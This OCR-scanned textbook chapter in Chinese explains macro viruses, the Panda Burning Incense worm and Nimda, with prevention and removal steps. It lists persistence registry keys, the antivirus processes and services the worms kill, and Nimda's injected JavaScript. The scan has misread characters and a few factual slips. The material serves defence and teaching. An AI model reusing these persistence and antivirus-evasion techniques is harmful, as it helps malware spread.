改 文件 名 。 最 后 ,这 个 宏 人 允许 Word for Windows 以 通常 的 方式 保存 这 个 新 感染 的 文件 。 

Word for Windows 会 自动 在 文件 的 局 部 池 中 保存 所 有 带 有 病毒 的 宏 ,因为 这 个 文件 已 
经 被 内 部 转化 成 一 种 模板 格式 。 注 意 Word for Windows 根据 文件 的 内 容 而 不 是 文件 名 确 
定 文件 类 型 (文档 还 是 模板 )。 因 此 ,即使 新 感染 的 模板 文件 也 有 一 个 不 正确 的 扩展 名 
(. doc) ,Word for Windows 仍然 可 以 正确 地 使 用 这 个 文件 工作 ,如 图 7-7 所 示 。 


Normal.dot 
Document1.doc 
Document2.doc 
肯 户 正文 户 正 文 
宏 ( 病 毒 ) 全 局 池 宏 ( 病 毒 ) 
a C 


a. 宏 被 存放 在 Document1.doc 局 部 池 中 

b. 宏 病 毒 被 复制 到 全 局 池 中 (例如 : dot) 

c. 从 全 局 池 复 制 到 Document2.doc 局 部 池 的 病毒 宏 ， 
当 保 存 Document2.doc 时 必须 把 A 


图 7-7 宏 病 毒 的 传播 


3. 病毒 可 能 做 的 潜在 破坏 

为 了 进行 传播 , 宏 病 毒 必须 把 标准 文档 文件 转换 成 包含 病毒 宏 的 模板 文件 。 一 旦 一 个 
Word for Windows 模板 文件 包含 宏 , 它 就 只 能 被 保存 成 模板 文件 ;否则 , 宏 的 内 容 就 会 丢 
失 。Word for Windows 不 允许 用 户 把 已 感染 的 文件 保存 为 文档 文件 ,因为 文件 感染 后 就 包 
合 宏 了 。 

宏 病 毒 像 任何 其 他 病毒 一 样 ,能 够 恶毒 地 破坏 计算 机 中 的 程序 和 数据 。 

4. 台湾 No. 1 宏 病 毒 

1995 年 , 当 发 现世 界 上 第 一 个 宏 病毒 以 后 不 久 , 便 在 我 国 台湾 地 区 出 现 了 第 一 个 中 文 
的 “十 三 号 台湾 No. 1 宏 病 毒 ”。 这 种 计算 机 病毒 现在 正 以 “何谓 宏 病毒 ,如 何 预防 ?” 一 类 的 
标题 ,以 电子 邮件 为 载体 ,在 Internet 与 BBS 网 络 中 流传 ,对 于 不 知情 而 下 载 观看 的 用 户 ， 
其 计算 机 将 会 因此 而 感染 此 病毒 。 这 种 病毒 在 1996 年 12 月 13 日 首次 在 中 国 大 陆 发 现 。 

在 不 是 13 号 的 日 子 里 ,这 个 宏 病毒 只 会 进行 默默 的 感染 工作 。 而 一 旦 到 了 每 月 的 
13 日 这 一 天 ,只 随便 打开 一 份 Word 文件 来 看 ,病毒 就 马上 发 作 。 出 现 对 话 框 与 用 户 进 行 
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心算 攻防 战 , 除 非 答 对 ,和 否则 将 无 法 退出 Word。 

宏 病 毒 所 出 的 心算 运算 式 数 值 庞大 ,例如 : 7009* 3261 x 1375 x 4262 x 91 一 ? 

这 样 的 题 用 心算 是 无 法 正常 解决 的 。 若 不 幸 病毒 发 作 了 ,是 不 能 用 一 般 的 计算 器 程序 
如 Windows 自 带 的 计算 器 来 算 这 个 20 位 的 计算 式 , 因 为 这 些 程序 在 算 高 位 数 时 会 有 误差 。 
正确 的 做 法 是 ,赶快 利用 另外 一 台 计 算 机 上 的 Word 宏 程序 来 算 , 才 能 精确 算出 数值 。 

例如 : counter 二 int(7009 x 3261 x 1375 x 4262 x 91) 如 此 算出 来 的 值 “1. 218 889 664 968e 十 
16” 才 是 正确 的 。 

当 输 入 正确 的 数值 ,病毒 会 恭贺 你 答对 了 ”, 接 着 出 现 一 份 让 你 避 笑 不 得 的 文件 。 如 果 
答 错 了 ,病毒 就 会 展现 它 所 谓 的 “震撼 教育 ”, 那 就 是 开 出 20 份 新 文件 。 若 计算 机 系统 具有 
音效 功能 的 话 ,还 可 以 一 路 听 到 哗 哗 声 。 在 开 出 的 20 份 新 文件 中 ,最 后 一 份 文 件 会 显示 出 
“ 宏 病 毒 ”的 字样 ,而且 又 出 现 一 道 新 的 心算 考试 题 。 如 果 再 答 错 了 ,就 再 开 20 份 文件 ,再 来 
一 道 新 的 心算 考试 题 …… 如 此 循环 下 去 ,不 但 占用 了 内 存 , 当 天 无 法 使 用 Word, 还 会 造成 
硬盘 文件 链 丢 失 。 

要 防治 “十 三 号 台湾 No. 1 宏 病 毒 ”, 也 要 从 防 和 治 两 方面 着 手 : 防 的 重要 而 有 效 的 方法 
是 安装 能 防 宏 病毒 的 防毒 软件 。 如 果 你 的 计算 机 未 安装 具有 防 宏 病 毒 的 防毒 软件 , 则 可 以 
用 更 改 系统 日 期 的 方法 ,将 计算 机 系统 的 日 期 跳 过 13 日。 

当 打 开 感 染 计 算 机 病毒 的 文件 之 后 ,可 在 Normal. dot 里 面 看 到 它 含有 AutoOpen 宏 ， 
单 击 “ 删 除 ” 按 钮 将 它 清除 掉 即 可 。 但 此 法 无 法 预防 其 他 宏 病 毒 ,而 且 若 没有 将 所 有 的 宏 病 
毒 清 干净 的 话 , 就 算 将 Word 整个 删除 、 重 新 安装 ,计算 机 病毒 依然 会 存在 。 宏 病毒 大 都 在 
Internet 与 BBS 网 络 上 流传 ,目前 只 有 靠 网 络 上 大 家 都 来 防 宏 病毒 ,才能 真正 根除 网 络 上 的 

继 “ 十 三 号 台湾 No. 1 宏 病 毒 ” 在 台湾 掀起 一 阵 波 涛 之 后 , “台湾 SuperNo. 1 宏 病毒 ”也 
悄然 出 现 ,这 种 计算 机 病毒 不 但 会 感染 Word 文件 ,最 可 怕 的 是 还 会 自动 格式 化 用 户 的 硬 
盘 。 这 种 计算 机 病毒 主要 感染 Microsoft Word 6.0 以 上 的 版 本 ,也 是 跨 平台 病毒 ,发 作 日 
期 在 每 月 13 日 ,25 日 ,10 月 10 日 等 ;感染 病毒 的 症状 有 : 出 现 猜 数字 对 话 框 出 现 音响 ,无 
条 件 格式 化 C 盘 、 显 示 信 息 等 。 顾 名 思 义 , “台湾 SuperNo. 1”" 有 超越 取而代之 的 意思 。 事 
实 上 , 它 的 破坏 力 确实 超过 了 “十 三 号 台湾 No. 1 宏 病 毒 ”。 

5. 宏 病毒 的 清除 与 防治 

虽然 Word 的 宏 功 能 为 那些 心怀 区 测 的 人 提供 了 一 种 简单 高 效 的 制造 新 病毒 的 手段 ， 
但 是 防治 这 类 病毒 绝 非 像 某 些 广告 或 文章 所 说 的 那样 难 , 尤 其 是 与 那些 用 复杂 的 计算 机 编 
程 语 言 编 制 的 病毒 相 比 , 安 病 毒 的 防治 要 容易 得 多 。 下 面 介绍 对 该 病毒 的 防治 。 

当 怀 疑 系统 带 有 安 病 毒 时 ,首先 应 查看 是 否 存在 “可 疑 ”的 安 。 所 谓 可 疑 的 宏 ,是 指 用 户 
自己 没有 编制 过 ,也 不 是 Word 默认 提供 而 新 出 现 的 宏 。 尤 其 对 以 “Auto” 开 头 的 宏 ,应 高 度 
警惕 。 如 果 有 这 类 宏 ,很 可 能 就 是 宏 病毒 ,最 好 将 其 删 去 。 查 看 宏 的 方法 是 在 打开 某 种 模板 
的 Word 文档 后 ,用 “工具 ”菜单 中 的 “ 宏 ” 选 项 ,将 当前 模板 使 用 的 所 有 的 宏 调 出 进行 查看 。 
平时 在 没有 宏 病 毒 的 时 候 , 不 妨 对 系统 已 有 的 和 自己 编制 的 宏 做 一 个 文件 清单 ,以 便 随时 
对 照 。 

用 户 在 新 安装 了 Word 后 ,可 打开 一 个 新 文档 ,将 Word 的 工作 环境 按 自己 的 使 用 习惯 
进行 设置 ,并 将 自己 需要 使 用 的 宏一 次 编制 好 ,做 完 后 ,保存 新 文档 ,使 Normal. dot 模板 改 
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变 。 新 的 Normal. dot 现在 含有 用 户 需 要 的 使 用 设置 并 绝对 没有 宏 病 毒 ,可 将 这 份 干净 的 
Normal. dot 备份 下 来 ,这 样 用 户 的 手中 就 有 了 一 份 绝对 可 靠 的 Normal. dot 模板 。 在 遇 到 
有 宏 病 毒 感染 或 怀疑 感染 了 宏 病 毒 的 时 候 ,可 随时 用 备份 的 Normal 模板 来 覆盖 当前 的 
Normal. dot 模板 。Normal. dot 在 用 户 没 有 另外 指定 存放 模板 的 路 径 时 ,应 该 在 Word( 或 
Office) 的 Templates 目录 下 。 

如 果 用 户 自 己 编制 有 Autoxxxx 这 类 宏 ,建议 将 编制 完成 的 结果 记录 下 来 ,即将 其 中 的 
代码 内 容 打 印 或 抄录 下 来 , 放 在 手边 备查 。 这样 , 当 Word 感染 了 宏 病 毒 或 怀疑 有 宏 病 毒 的 
时 候 , 可 以 打开 该 宏 ,与 记录 的 内 容 进 行 对 照 。 如 果 其 中 有 一 人 处 或 多 处 被 改变 或 者 增加 了 一 
些 原来 没有 的 语句 , 则 不 论 是 否 能 看 懂 这 些 代码 ,都 应 将 这 些 语句 统统 删除 , 仅 保留 原来 编 
制 的 内 容 。 

如 果 没 有 编制 过 任何 以 “Auto" 开 头 的 Word 宏 ,现在 系统 运行 不 正常 ,而 又 完全 能 排除 
是 由 其 他 硬件 故障 或 系统 软件 配置 问题 引起 ,那么 ,在 打开 “工具 ”菜单 的 “ 宏 ” 选 项 后 ,如 果 
看 到 有 这 类 宏 ,最 好 执行 删除 自动 宏 的 操作 ,因为 即便 错 删 了 ,也 不 会 对 Word 文档 内 容 产 
生 任 何 影响 ,仅仅 是 少 了 相应 的 “ 宏 功 能 ”。 如 果 需 要 还 可 以 重新 编制 。 

如 果 要 使 用 外 来 的 Word 文档 且 不 能 判断 这 些 “ 外 来 客 " 是 否 带 宏 病 毒 , 有 两 个 做 法 是 
有 效 的 : 如 果 必 须 保留 原来 的 文档 编排 格式 ,那么 使 用 Word 打开 文档 后 ,就 需要 用 上 述 的 
几 种 方法 进行 检查 ,只 有 在 确信 没有 宏 病 毒 后 ,才能 执行 保存 该 文档 的 操作 。 男 一 个 方法 
是 ,如 果 没 有 保留 原来 文档 的 排版 格式 的 必要 ,可 先 用 Windows 提供 的 书写 器 (对 使 用 
Windows 3. x 而 言 ) 或 写字 板 ( 对 使 用 Windows 95 而 言 ) 来 打开 外 来 的 Word 文档 ,将 其 先 
转换 成 书写 器 或 写字 板 格式 的 文件 并 保存 后 ,再 用 Word 调用 。 因 为 书写 器 或 写字 板 是 不 
调用 也 不 记录 和 保存 任何 Word 宏 的 ,文档 经 此 转换 ,所 有 附带 其 上 的 宏 都 将 丢失 ,当然 ,这 
样 做 将 使 该 Word 文档 中 所 有 的 排版 格式 也 一 并 丢失 。 

在 调用 外 来 的 Word 文档 时 ,除了 用 书写 器 或 写字 板 对 Word 宏 进行 过滤” 外 ,还 有 一 
个 简单 的 方法 ,就 是 在 调用 Word 文档 时 先 禁止 所 有 的 以 Auto 开头 的 宏 的 执行 。 这 样 能 保 
证 用 户 在 安全 启动 Word 文档 后 ,再 进行 必要 的 病毒 检查 。 为 此 ,对 于 使 用 Word 97 以 前 版 
本 的 用 户 , 需 要 自行 编制 一 个 名 为 AutoExec 的 宏 。 这 个 宏 在 执行 时 ,将 关闭 其 他 所 有 自动 
执行 的 Word 宏 。 将 AutoExec 宏 保 存 到 一 个 另外 命名 的 模板 中 ,比如 AV. dot, 当 要 使 用 
外 来 的 Word 文档 时 ,将 含有 AutoExec 的 AV 模板 改名 为 Normal. dot 模板 (应 先 备份 原 
来 的 Normal. dot 模板 ) ,如 果 不 使 用 外 来 文档 ,可 以 将 原来 备份 的 Normal. dot 模板 再 改名 
复制 回来 。AutoExec 宏 的 参考 代码 如 下 : 


Sub MAIN 
Disable AutoMacros 


End Sub 


对 于 使 用 Word 97 版 本 的 用 户 , Word 97 已 经 提供 此 项 功能 ,将 其 激活 或 打开 即 可 。 
方法 是 , 单 击 “ 工 具 ” 菜 单 1“ 选 项 ”|“ 常 规 ” 命 令 , 用 鼠标 勾 选 “ 宏 病 毒 防护 ”选项 ,这 样 ,当前 打 
开 的 文档 所 使 用 的 模板 就 有 了 防止 “自动 宏 ” 执 行 的 功能 , 当 以 后 使 用 这 个 模板 的 文档 时 ,如 
打开 的 文件 带 有 “自动 宏 ”, Word 97 将 首先 告诉 用 户 打 开 的 文档 带 有 自动 宏 , 并 询问 用 户 是 
否 执 行 这 些 宏 。 此 时 ,应 该 选择 “ 否 ”, 待 进入 并 打开 文档 后 ,再 对 文档 进行 “ 宏 ” 检 查 。 
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7.6.3 其 他 著名 的 网 络 病毒 


本 节 将 介绍 一 些 在 全 球 范围 内 造成 重大 经 济 损失 的 著名 的 病毒 “熊猫 烧香 > 和”* 尼 姆 
这” 

1.“ 能 猫 烧香 ”蠕虫 

熊猫 烧香 病毒 准确 地 说 是 在 2006 年 底 开始 大 规模 爆发 ,以 Worm. WhBoy. bh 为 例 ,由 
Delphi 工具 编写 ,能够 终止 大 量 的 反 病毒 软件 和 防火 墙 软件 进程 ,病毒 会 删除 扩展 名 为 gho 
的 文件 ,使 用 户 无 法 使 用 GHOST 软件 恢复 操作 系统 。“ 熊 猫 烧 香 ” 感 染 系 统 的 . exe， 
. com,. pif,. src,. html,. asp 文件 ,导致 用 户 一 打开 这 些 网 页 文件 ,IE 自动 链接 到 指定 病毒 
网 址 中 下 载 病毒 。 在 硬盘 各 分 区 下 生成 文件 autorun. inf 和 setup. exe 病毒 ,还 可 通过 U 盘 
和 移动 硬盘 等 进行 传播 ,并 且 利 用 Windows 系统 的 自动 播放 功能 来 运行 。 

“熊猫 烧香 ”还 可 以 修改 注册 表 启 动 项 ,被 感染 的 文件 图 标 变 成 “熊猫 烧香 ”的 图 案 。 病 
毒 还 可 以 通过 共享 文件 夹 , 系 统 弱 口令 等 多 种 方式 进行 传播 。 

(1) 病毒 行为 描述 

@ 复制 文件 。 

病毒 运行 后 , 会 复制 自身 到 系统 目录 下 : %System%\drivers\spoclsv. exe。 

@ 添加 注册 表 自 启动 。 

病毒 会 添加 自 启 动 项 : 

LHKEY_CURRENT_USER\Software\ Microsoft\ Windows\CurrentVersion\ Run | 
"svcshare"="%System%\drivers\spoclsv. exe"。 

@ 每 隔 1 秒 寻 找 桌 面 窗口 ,并 关闭 窗口 标题 中 含有 以 下 字符 的 程序 : 

QQKav、.QQAV 防火墙、 进程 、VirusScan、 网 镖 、 杀 毒 .毒霸 、 瑞 星 、 江 民 、 黄 山 IE、 超 级 
兔子 .优化 大 师 、 木 马克 星 、 木 马 清道 夫 、QQ 病毒 .注册 表 编 辑 器 .系统 配置 实用 程序 .卡巴 
斯 基 反 病毒 .Symantec AntiVirus、Duba、esteem proces, 绿 座 PC 密码 防盗 、 哈 落体、 木马 辅 
助 查找 器 、System Safety Monitor、Wrapped gift Killer、Winsock Expert、 游 戏 木 马 检 测 大 
师 、msctls_statusbar32、pjf(ustc) IceSword。 

@ 使 用 键盘 映射 的 方法 关闭 安全 软件 IceSword。 

@@ 中 止 系统 中 以 下 进程 : 

Mcshield. exe, VsTskMgr. exe, naPrdMegr. exe, UpdaterUI. exe, TBMon. exe, scan32. 
exe, Ravmond. exe, CCenter. exe, RavTask. exe, Rav. exe, Ravmon. exe, RavmonD. exe, 
RavStub. exe, KVXP. kxp, kvVMonXP. kxp, KVCenter. kxp, KVSrvXP. exe, KRegEx. exe， 
UIHost. exe, TrojDie. kxp,FrogAgent. exe,Logol_. exe,Logo_l1. exe, Rundll32. exe。 

@ 每 隔 18 秒 单 击 病毒 作者 指定 的 网 页 ,并 用 命令 行 检查 系统 中 是 否 存 在 共享 , 若 共 享 
存在 的 话 , 就 运行 net share 命令 关闭 admin $ 共享 。 

@ 每 隔 10 秒 下 载 病毒 作者 指定 的 文件 ,并 用 命令 行 检查 系统 中 是 否 存在 共享 , 若 共 享 
存在 的 话 ,就 运行 net share 命令 关闭 admin$ 共享 。 

@ 每 隔 6 秒 删除 安全 软件 在 注册 表 中 的 键 值 。 

@ 修改 以 下 值 以 便 不 显示 隐藏 文件 : 

HKEY_LOCAL MACHINE\SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ 

“BID 


Explorer\Advanced\Folder\Hidden\SHOWALL CheckedValue->0x00 

@ 删除 以 下 服务 : 

navapsvc, wscsve, KPfwSve, SNDSrve, ccProxy, ccEvtMgr, ccSetMgr, SPBBCSvc, 
Symantec Core LC, NPFMntor MskService, FireSvc。 

@ 感染 文件 。 

病毒 会 感染 扩展 名 为 exe,pif,com,src 的 文件 ,把 自己 附加 到 文件 的 头 部 ,并 在 扩展 名 
为 htm,html,asp,php,jsp,aspx 的 文件 中 添加 一 网 址 ,用 户 一 旦 打开 了 该 文件 ,IE 就 会 不 
断 地 在 后 台 单 击 写 和 的 网 址 ,达到 增加 单 击 量 的 目的 ,但 病毒 不 会 感染 以 下 文件 夹 名 中 的 
文件 : 

WINDOW, Winnt, System Volume Information, Recycled, Windows NT, WindowsUpdate, 
Windows Media Player, Outlook Express, Internet Explorer, NetMeeting, Common Files, 
ComPlus Applications, Messenger, InstallShield Installation Information, MSN,Microsoft 
Frontpage, Movie Maker, MSN Gamin Zone。 

@@ 删除 文件 。 

病毒 会 删除 扩展 名 为 gho 的 文件 ,该 文件 是 一 系统 备份 工具 GHOST 的 备份 文件 ,使 
用 户 的 系统 备份 文件 丢失 。 

(2) 解决 方案 

@ 结束 病毒 进程 %System%\drivers\spoclsv. exe, 查 看 当前 运行 spoclsv. exe 的 路 径 ， 
可 使 用 超级 兔子 魔法 设置 。 

@ 删除 病毒 文件 System %\drivers\spoclsv. exe。 

@ 删除 病毒 启动 项 : 

LHKEY_CURRENT_USER\Software\ Microsoft\ Windows\CurrentVersion\ Run | 
"svcshare"="%System%\drivers\spoclsv. exe"。 

@ 通过 分 区 盘 符 右键 菜单 中 的 “打开 ”进入 分 区 根 目录 ,删除 根 目 录 下 的 病毒 文件 : X: 
\setup. exe, X:\autorun. inf。 

@ 恢复 被 修改 的 “显示 所 有 文件 和 文件 夹 ” 设 置 : 

LHKEY_LOCAL MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\ 
Explorer\Advanced\Folder\ Hidden\SHOWALL | "CheckedValue"=dword:00000001。 

@ 修复 或 重新 安装 被 破坏 的 安全 软件 。 

@ 修复 被 感染 的 程序 。 可 用 专 杀 工具 进行 修复 ,如 金山 熊猫 烧香 病毒 专 杀 工具 、 安 天 

熊猫 烧香 病毒 专 杀 工具 、 江 民 熊 猫 烧香 病毒 专 杀 工具 和 瑞星 熊猫 烧香 病毒 专 杀 工具 等 。 

@ 恢复 被 修改 的 网 页 文件 ,可 以 使 用 某 些 编辑 网 页 的 工具 替换 被 添加 文字 为 空 。 机 器 
上 有 htm,html,asp,php,jsp,aspx 等 网 页 文件 ,一 定 要 删除 此 段 代 码 。 有 和 危险 代码 的 网 页 
一 旦 发 布 到 网 页 可 能 会 感染 其 他 用 户 。 

2.“ 尼 姆 达 ” 病 毒 

2001 年 9 月 18 日 ,一 种 被 命名 为 “ 尼 姆 达 ”(Nimda) 的 危险 程度 四 级 的 电脑 病毒 开始 肆 
虚 网 络 。“ 尼 姆 达 ” 病 毒 是 一 种 网 络 新 型 蠕虫 ,也 是 一 个 病毒 , 它 通过 E-mail、 共 享 网 络 资源 、 
IIS 服务 器 传播 。 同时, 它 也 是 一 个 感染 本 地 文件 的 新 型 病毒 。 

A 


(1)“ 尼 姆 达 ” 病 毒 感染 系统 的 类 型 

Nimda 蠕虫 病毒 按 字母 的 顺序 反 过 来 读 就 是 “admin”, 是 系统 管理 员 的 意思 。 该 病毒 
2001 年 9 月 18 日 上 午 开 始 传 播 , 并 迅速 感染 了 互联 网 上 的 电脑 和 服务 器 。 这 种 病毒 还 被 
称 做 readme. exe 和 W32. Nimda, 首 次 使 用 4 种 不 同 的 方式 不 仅 感 染 运 行 Windows 95/98/ 
Me 等 个 人 操作 系统 而 且 还 能 感染 运行 Windows 服务 器 操作 系统 。 

(2)“ 尼 姆 达 ? 病 毒 传染 途径 

尼 姆 达 病 毒 的 传播 可 以 通过 4 种 方式 : 感染 文件 . 乱 发 邮件 、 网 络 蠕虫 和 局 域 网 传播 。 

QO@ 感染 文件 

尼 姆 达 病 毒 定位 本 机 系统 中 的 EXE 文件 ,并 将 病毒 代码 置 入 原文 件 体内 ,从 而 达到 对 
文件 的 感染 , 当 用 户 执行 这 些 文件 的 时 候 ,病毒 进行 传播 。 

@ 乱 发 邮件 

尼 姆 达 病 毒 利用 MAPI 从 邮件 的 客户 端 及 HTML 文件 中 搜索 邮件 地 址 ,然后 将 病毒 
发 送 给 这 些 地 址 ,这 些 邮 件 包含 一 个 名 为 readme. exe 的 附件 ,在 某 些 系统 (Windows 未 安 
装 相 应 补丁 的 操作 系统 ) 中 该 readme. exe 能 够 自动 执行 ,从 而 感染 整个 系统 。 

@ 网 络 蠕虫 

尼 姆 达 病 毒 还 会 扫描 Internet, 试 图 找到 WWW 主机 ,一 旦 找到 这 样 的 服务 器 ,蠕虫 便 
会 利用 已 知 的 系统 漏洞 来 感染 该 服务 器 ,如 果 成 功 ,蠕虫 将 会 随机 修改 该 站 点 的 Web 页 , 当 
用 户 浏览 该 站 点 时 ,不 知 不 觉 中 便 被 感染 。 

@ 局 域 网 传播 

尼 姆 达 病 毒 还 会 搜索 本 地 网 络 的 文件 共享 ,无论 是 文件 服务 器 还 是 终端 客户 机 ,一 旦 找 
到 , 便 安装 一 个 名 为 RICHED20. DLL 的 隐藏 文件 到 每 一 个 包含 DOC 和 EML 文件 的 目录 
中 , 当 用 户 通过 Word、 写 字 板 、Outlook 打开 DOC 或 EML 文档 时 ,这 些 应 用 程序 将 执行 
RICHED20. DLL 文件 ,从 而 使 机 器 被 感染 。 同 时 该 病毒 还 可 以 感染 远程 的 在 服务 器 被 启 
动 的 文件 。 

(3)“ 尼 姆 达 ? 病 毒 的 特征 

Worms. Nimda 运行 时 搜索 本 地 硬盘 中 的 HTM,HTML 文件 和 Exchange 邮箱 ,从 中 
找到 E-mail 地 址 ,并 向 这 些 地 址 发 送 邮件 ;搜索 网 络 共享 资源 ,并 试图 将 带 毒 邮 件 放 和 别人 
的 共享 目录 ;利用 Code Blue( 红 色 代 码 ) 病 毒 的 方法 攻击 随机 IP 地 址 ,如 果 是 未 安装 补丁 的 
IIS 服务 器 就 会 中 毒 。 该 蠕虫 用 它 自己 的 SMTP 服务 器 发 送 邮件 ,同时 用 已 经 配置 好 的 
DNS 获得 一 个 E-mail 服务 器 地 址 。 

Worms. Nimda 运行 时 查找 本 地 的 HTM,ASP 文件 ,将 生成 的 带 毒 邮件 放 入 这 些 文件 
中 ,并 加 入 JavaScript 脚本 : 


<html>< script language="JavaScript"> 

window.open ("readme.eml",null, "resizable=no,top=6000,1eft= 6000") 
</script> 

</html> 


这 样 ,每 当 该 网 页 被 打开 时 ,就 会 自动 打开 该 染 毒 的 readme. eml。 
Worms. Nimda 用 以 下 两 种 方法 感染 本 地 PE 文件。 


@ 一 种 是 查找 所 有 的 Windows 应 用 程序 (在 注册 表 的 HKEY_LOCAL_MACHINE\ 
。277 。 


Software Microsoft\ Windows\ CurrentVersion\ App Paths 中 ) ,并 试图 感染 ,但 不 感染 
Winzip32. exe。 

@ 第 二 种 方法 搜索 所 有 文件 ,并 试图 感染 ,被 感染 的 文件 会 增 大 约 57KB。 

如 果 用 户 浏览 一 个 已 经 被 感染 的 Web 页 时 ,会 被 提示 下 载 一 个 . eml (Outlook 
Express) 的 电子 邮件 文件 。 该 邮件 的 MIME 头 是 一 个 非 正 常 的 MIME 头 , 它 包含 一 个 附 
件 一 一 即 此 蠕虫 。 这 种 邮件 也 可 能 是 别人 通过 网 络 共享 存 人 计算 机 ,也 可 能 是 在 别人 的 共 
享 目录 中 。 无 论 如 何 , 只 要 在 Windows 的 资源 管理 器 中 选中 该 文件 , Windows 将 自动 预览 
该 文件 。 由 于 Outlook Express 的 一 个 漏洞 导致 蠕虫 自动 运行 ,因此 即使 不 打开 文件 也 可 
能 中 毒 。 当 这 个 蠕虫 执行 的 时 候 , 它 会 在 Windows 目录 下 生成 MMC. EXE 文件 ,并 将 其 属 
性 改 为 系统 、 隐 藏 ; 它 会 用 自身 覆盖 System 目录 下 的 RICHED20. DLL, 这 个 文件 是 Office 
套件 运行 的 必 备 库 , Windows 的 写字 板 等 也 要 用 到 这 个 动态 库 ,任何 要 使 用 这 个 动态 库 的 
程序 试图 启动 时 都 会 激活 它 ; 它 会 将 自己 复制 到 System 目录 下 ,并 改名 为 load. exe, 同 时 将 
SYSTEM. INI 文件 中 的 SHELL 项 改 为 explorer. exe load. exe-dontrunold ,这 样 ,在 系统 每 
次 启动 时 将 自动 运行 它 。 这 个 蠕虫 会 在 已 经 感染 的 计算 机 共享 所 有 本 地 硬盘 ,同时 ,这 个 蠕 
虫 会 以 超级 管理 员 的 权限 建立 一 个 guest 的 访问 账号 ,以 允许 别人 进入 本 地 的 系统 。 这 个 
蠕虫 改变 Explorer 的 设置 ,这 样 就 让 它 无 法 显示 隐藏 文件 和 已 知 文件 的 扩展 名 。 

(4)“ 尼 姆 达 ” 病 毒 的 破坏 性 

专家 指出 迄今 为 止 好 像 还 没有 发 现 这 种 新 病毒 具有 删除 计算 机 内 文件 或 数据 的 能 
力 , 只 是 当 这 种 病毒 在 进行 自我 复制 时 会 使 计算 机 的 运行 变 得 缓慢 。 由 于 Nimda 病毒 进 
行 自 我 复制 的 速度 快 和 传播 范围 大 ,病毒 制造 的 大 量 垃 圾 数据 会 阻塞 网 络 ,如 果 服 务 器 
曾 遭 到 红色 代码 工 蠕虫 病毒 的 侵害 ,Nimda 病毒 就 能 利用 那个 后 门 把 自己 复制 到 那 台 服 
务 嚣 上 ,文件 名 是 admin. dll。 该 病毒 可 在 被 感染 的 服务 器 上 制造 拥有 管理 权限 的 guest 
账号 ,使 系统 C 盘 可 以 公开 访问 并 为 HTM,HTML 和 ASP 文 件 添加 脚本 ,所 以 危害 性 相 
当 大 。 

(5)“ 尼 姆 达 ” 病 毒 的 清除 与 预防 

根据 尼 姆 达 病 毒 的 特点 ,对 于 拥有 局 域 网 的 企业 级 用 户 ,建议 使 用 瑞星 网 络 版 杀毒 软 
件 。 由 于 * 尼 姆 达 ?” 最 大 危害 在 于 感染 计算 机 后 会 改变 安全 设置 ,开放 硬盘 作为 网 络 共 享 的 
资源 ,从 而 感染 到 服务 器 ,将 本 地 的 文件 和 远程 网 络 共享 的 文件 全 部 感染 。 所 以 普通 单机 版 
的 杀毒 软件 不 可 能 实现 全 网 的 同步 升级 ,安装 网 络 版 是 最 佳 选择 。 

对 于 广大 单机 用 户 及 虽然 拥有 局 域 网 的 企业 级 用 户 ,但 没有 网 络 版 的 杀毒 软件 ,而 只 有 
单机 版 杀毒 软件 的 请 按照 如 下 方法 操作 。 

@ 首先 安装 IS 补丁 (此 IIS 补丁 防止 遭受 攻击 ) 及 IE 相应 最 新 补丁 (IE 补丁 防止 浏览 
带 毒 网 页 时 中 毒 ) 。 

下 载 IS 补丁 程序 的 网 址 为 : 

http://www. microsoft. com/technet/security/ bulletin/ MS02-018. mspx 

IE 补丁 程序 , 即 由 Microsoft 安全 公告 (Security Bulletin)MS01-020 提供 的 补丁 程序 : 

。 Internet Explorer 5. 01 Service Pack 2; 

。 Internet Explorer 5. 5 Service Pack 2; 

。 Internet Explorer 6。 

应 -号 Y 辣 


@ 进行 隔离 。 将 服务 器 隔离 , 断 开 所 有 网 线 。 

@ 解决 病毒 留 下 的 后 门 程序 。 将 IIS 服务 的 Scripts 目录 中 TFTP * . exe 和 ROOT. 
exe 文件 全 部 移 除 ,以 解决 病毒 留 下 的 后 门 程 序 。 

@ 去 掉 共享 。 当 受到 尼 姆 达 病 毒 的 入 侵 后 ,系统 中 会 出 现 一 些 新 的 共享 ,如 C,D 等 ， 

@ 查看 管理 权限 。 查 看 一 下 Administrators 组 中 是 否 加 进 了 guest 用 户 , 如 果 是 ,请 将 
guest 用 户 从 Administrators 组 中 删除 。 

@ 查 杀 病毒 。 使 用 瑞星 杀毒 软件 进行 查 杀 ,彻底 清除 Nimda 病毒 。 

@ 恢复 网 络 。 恢 复 网 络 连接 。 

针对 Windows 98 用 户 , 只 需 安装 相应 的 IE 补丁 程序 ,另外 如 果 遇 到 Office 运行 异常 ， 
由 于 尼 姆 达 病 毒 用 自身 覆盖 了 system 目录 下 的 riched20. dll 文件 ,所 以 Word 等 字 处 理 软 
件 运行 不 正常 。 用 户 杀 毒 后 ,可 以 从 安装 盘 里 找到 相应 的 文件 重新 复制 回来 。 如 果 是 
Windows 98 系统 ,请 解压 Win98_35. CAB 压缩 包 , 找 到 riched20. dll 并 复制 到 system 目 
录 。 而 Windows 98SE, 则 在 压缩 包 Win98_ 41.CAB 中 。Windows 2000 系统 在 system32\ 
dllcache 目录 有 备份 ,将 它 复制 到 system32 目录 或 者 也 可 以 从 其 他 未 感染 过 病毒 的 机 器 复 
制 这 些 文件 。 

注意 : 如 果 按 照 以 上 步骤 仍 无 法 解决 问题 ,说 明 IIS 补丁 安装 有 问题 ,请 重新 安装 IIS 
补丁 。 如 果 用 户 服务 器 不 提供 Web 服务 ,请 将 Web 服务 停止 ,这 样 比较 安全 。 


7.7 本 章 小 结 


电脑 病毒 正 变 得 越 来 越 “聪明 而 神奇 ”, 目 前 ,来 自 反 病 毒 专家 的 消息 称 ,一 种 随时 会 跟 
随 电 子 邮 件 进入 电脑 的 网 络 病毒 ,现在 居然 学 会 了 “隐形 ”, 从 而 逃避 反 病 毒 者 的 追捕”, 使 
反 病 毒 变 得 更 加 困难 。 可 见 病毒 对 网 络 信 息 安 全 的 威胁 是 巨大 的 ,而 反 病毒 技术 与 计算 机 
病毒 这 一 “冤家 对 头 ”, 也 在 进行 艰苦 的 拉锯 战 。 要 将 病毒 彻底 消灭 ,或 将 它 的 危害 降 至 最 
小 ,就 应 在 各 个 能 考虑 到 的 方面 采取 措施 , 层 层 设防 ,以 使 网 络 安全 地 工作 。 

